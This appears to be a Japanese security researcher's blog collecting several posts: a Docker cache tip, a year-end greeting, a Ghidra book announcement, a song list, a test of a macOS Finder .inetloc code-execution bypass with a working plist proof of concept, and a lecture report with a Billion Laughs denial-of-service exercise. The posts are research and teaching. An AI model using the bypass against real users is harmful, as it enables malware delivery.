Dockerイメージのビルド時にパッケージのインストールに失敗する
微修正を行いながら何度も繰り返しDockerコンテナを作成していると、
apt
、yum
などでパッケージをインストールする部分で、404エラーが発生し、Dockerイメージのビルドに失敗する場合があります。
これは、Dockerがキャッシュを使用しているためです。
Dockerイメージのビルド時には、Dockerfileの各行の実行結果を保存しており、再度ビルドする際にはキャッシュとしてその結果を再利用します。
次のようにCACHED
という文字列が出力されている箇所では、キャッシュを利用しています。
$ docker compose up -d ... => CACHED [3/14] RUN apt update && apt upgrade -y 0.0s ...
そのため、apt update
などのパッケージ情報を更新するコマンドの実行結果がキャッシュされていると、パッケージ情報が更新されません。
インストールされるパッケージを変更したとき、古いバージョンのパッケージをインストールしようとしてビルドに失敗します。
このような場合は、docker build
やdocker compose build
に--no-cache
オプションを付けることで、キャッシュを使用せずにビルドできます。
ビルドが終わったら、改めてコンテナを起動してください。
$ docker compose build --no-cache $ docker compose up -d
年末のご挨拶
年末ということで、皆さんお正月の準備をされているところでしょうか。*1*2
私たちの会社も年末を迎え、皆さんと同じようにお休みを取ります。そして、来年も新しい年が始まります。
今年は、私たちの会社が創業して間もないこともあり、多くのことに挑戦しなければいけなかった一年でした。 しかし、そんな中でも、私たちは、ビジネスモデルの確立や、サービスの開発、そして、多くのお客様にサービスを提供することができるよう、努力を重ねました。
その結果、新年を迎えることができます。本当にありがとうございます。
今年は、私たちが取り組んださまざまな取り組みが実り、多くのお客様にサービスを提供することができました。そして、私たちは、新しい技術や、新しいアイデアを取り入れながら、サービスをより質の高いものにしていけるよう心がけました。
さらに、今年は、リモートワークを実施しながらも、サービスの開発や、ビジネスの成長に努めました。そして、社員のワークライフバランスを重視しながら、ビジネスを展開していけるよう心がけました。
最後に、皆さんにお願いがあります。来年も、私たちと一緒に、新しいサービスを開発していけるよう、お力を貸していただけると嬉しいです。また、私たちのサービスをご利用いただいたお客様には、心よりお礼申し上げます。 そして、私たちのサービスをより良いものにするために、ご意見やご要望をお寄せいただけると幸いです。
来年も、皆さんと一緒に、私たちの会社を成長させていけるよう、心がけていきます。 また、皆さんとともに、新しいチャレンジをしていけるよう、前向きに取り組んでいきます。
今年も本当にありがとうございました。来年もよろしくお願いいたします。
マスタリングGHIDRAを執筆しました
オライリー・ジャパンからマスタリングGHIDRAが出版されました。翻訳者の一人として関わっています。 原著はChris Eagleさん、Kara NanceさんによるThe Ghidra Book | No Starch Pressです。 Chris EagleさんはThe IDA Pro Bookを執筆したことで知られています。
Amazonでは円安の影響(?)なのか原著(Kindle版、物理本ともに)よりも1000円安く売られています。 https://www.amazon.co.jp/%E3%83%9E%E3%82%B9%E3%82%BF%E3%83%AA%E3%83%B3%E3%82%B0Ghidra-%E2%80%95%E5%9F%BA%E7%A4%8E%E3%81%8B%E3%82%89%E5%AD%A6%E3%81%B6%E3%83%AA%E3%83%90%E3%83%BC%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E5%AE%8C%E5%85%A8%E3%83%9E%E3%83%8B%E3%83%A5%E3%82%A2%E3%83%AB-Chris-Eagle/dp/4873119928/www.amazon.co.jp
監訳をしていただいた方による紹介記事です。
以前マイナビ出版から刊行されたリバースエンジニアリングツールGhidra実践ガイドに引き続き、2冊目のGhidraをテーマにした著書になりました。「GHIDRA」と書名についているものの、ディスアセンブルの仕組みの解説から始まる本なので、リバースエンジニアリングに興味がある人なら誰でも楽しめる本になっていると思います。Ghidraなどのリバースエンジニアリングツールのディスアセンブル機能は完璧ではなく、しばしば失敗します。その結果を修正するためにディスアセンブルの仕組みは知っておくべき知識ですが、これまでこの部分を解説した和書はなかったと思います。また、日本語版の独自の特典として付録Bでは、Ghidraに最近搭載されたデバッガについても解説しています。
リバースエンジニアリングツールGhidra実践ガイドは3月に韓国語版が出版されました。見本誌をもらいましたが何を書いてあるかは何も分かりませんw 表紙は凹凸加工されていて原著より凝ってるなと思いました。翻訳してくれた人には感謝です。
自分のプロフィールっぽいとこすら何書いてるか全然分からない pic.twitter.com/P7ughppkHP
— たけまる (@tkmru) 2022年3月12日
30th L'Anniversary LIVEにリクエストした曲
来週、L'Arc~en~Cielの30周年ライブが開催される。それに伴い、1〜2月に楽曲リクエスト企画が行われた。 自分が票を入れた曲が演奏されるか楽しみなので、記憶にある曲をメモしておく。
シングル曲は去年のツアーでだいぶ聴かせてもらったので、Vivid Colors以外は全部アルバム曲で攻めた選曲でリクエストした。MMXXツアーではチケットを取っていた公演がコロナで中止になり、悔しい思いをしたので、その時の曲は入れている。
DUNE
- As if in a dream
Tierra
- 風の行方
- 瞳に映るもの
heavenly
- Still I'm With You
- Vivid Colors
- ガラス玉
True
- Fare Well
- Round and Round
HEART
- birth!
ark
- Cradle
- What is love
REAL
- TIME SLIP
- a silent letter
- ALL YEAR AROUND FALLING IN LOVE
リクエストしてないけど演奏してほしい曲は以下。 シングルもあるけど、シングルのカップリングとかベストアルバムのストアルバムで初音源化した曲などもあり、よりマイナーなかんじ。
虹
- THE GHOST IN MY ROOM
-
- Brilliant Years
Tierra
- All Dead
Clicked Singles Best 13
- Anemone
REAL
- finale
SMILE
KISS
- 海辺
AppleがCVEを割り当てずに修正した(?)けどバイパス可能なFinderのRCEの脆弱性を試してみた
概要
AppleがCVEを割り当てずに修正したけど、修正が雑でバイパス可能な状態の脆弱性がインターネットで話題だったのでやっていく。
拡張子 .inetloc
のinetlocファイルという、RSSフィードなどのインターネット上のコンテンツを指すためのショートカットがmacOSでは使われている。
このファイルの中でfile://
を使ってローカルの実行ファイルを指定することで、任意コード実行が可能とのこと。
この脆弱性はSSD Secure DisclosureというOSやブラウザなどの著名なソフトウェアを扱うバグバウンティサイトで公開された。
やってみる
脆弱性の修正が行われた現在は、file://
を弾く対策が実装されている。
そのため、大文字と小文字を混ぜて、同じ動作をする他の文字列を指定してあげると、対策をバイパスできる。
上記記事中には次のPoCが貼られていて、拡張子.inetloc
を持つファイルとして保存し、Finderからダブルクリックで実行すると電卓が起動した。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>URL</key> <string>FiLe:////////////////////////System/Applications/Calculator.app</string> </dict> </plist>
また、macOSではダウンロードしてきたファイルを実行する際に警告が出るが、 ブラウザを使って、ダウンロードしてきたinetlocファイルは警告なしで実行されることを確認した。 攻撃者がメールなどでマルウェアを送りつける際の有用な手段が増えたのかなーと思った。
まとめ
ちゃんと対策してほしいし、報告者のためにも、脆弱性管理/周知のためにもCVEつけてあげてほしい。
「趣味と実益のための著名なOSSライブラリ起因の脆弱性の探求」という題でセキュキャンで講義してきた
セキュリティ・キャンプ全国大会 2021 オンラインで講義をしました!!
去年も講義してたけど、去年は翌日の坂本真綾のライブで打ち上がって頭が書き換えられてブログ書いてなかったっぽい。 また名古屋旅行したい。次の動画は去年の打ち上げの参考動画です。
講義内容
前座として脆弱性を取り巻くライフサイクルの話をした後、安全でないデシリアライゼーションの演習をやり、その後、XMLパーサのしばき方を学び、実際にGitHubで公開されているOSSの脆弱性を探す演習をやりました。 OSSライブラリ起因の脆弱性といっても幅広いので、各プログラミング言語にデフォルトで存在するライブラリ起因の脆弱性に焦点を当てて、安全でないデシリアライゼーションとXMLパーサ関連の脆弱性の話をしました。ちょっと講義タイトルは詐欺気味なところは否めない....
日本語でProperty-Oriented Programmingに言及している資料やXMLパーサに対する攻撃手法を細かに分類した資料は無かったので公開する意義のある良い資料ができた気がしています。 詳しい内容は講義資料を既に公開しているのでそちらの方を見てもらえると🙏
こだわりポイントはBillion Laugh、Quadratic BlowupといったDoSの脆弱性をDocker上で安全に試せるようにしたところです。 次のコマンドで気軽にDoSを楽しめるので、暇な人はやってみてください!!
$ git clone git@github.com:tkmru/seccamp2021-b5.git $ cd seccamp2021-b5 $ cd handson/xml-parser/billion-laughs/etree/ $ docker build . -t billion-laughs-etree $ docker run billion-laughs-etree CPU: 0.0 %, Memory: 540 KB CPU: 95.0 %, Memory: 308920 KB CPU: 97.5 %, Memory: 601304 KB CPU: 98.6 %, Memory: 896032 KB CPU: 99.0 %, Memory: 1188776 KB CPU: 101 %, Memory: 1572960 KB CPU: 101 %, Memory: 1602120 KB CPU: 101 %, Memory: 1595464 KB CPU: 99.3 %, Memory: 0 KB ./run.sh: line 12: 7 Killed python vulnerable.py CPU: %, Memory: KB
講義資料を作りながら8件ほどOSSの脆弱性を見つけてIPAに報告できたのも良かったけど、さてCVE付くのはいつになるんだろう....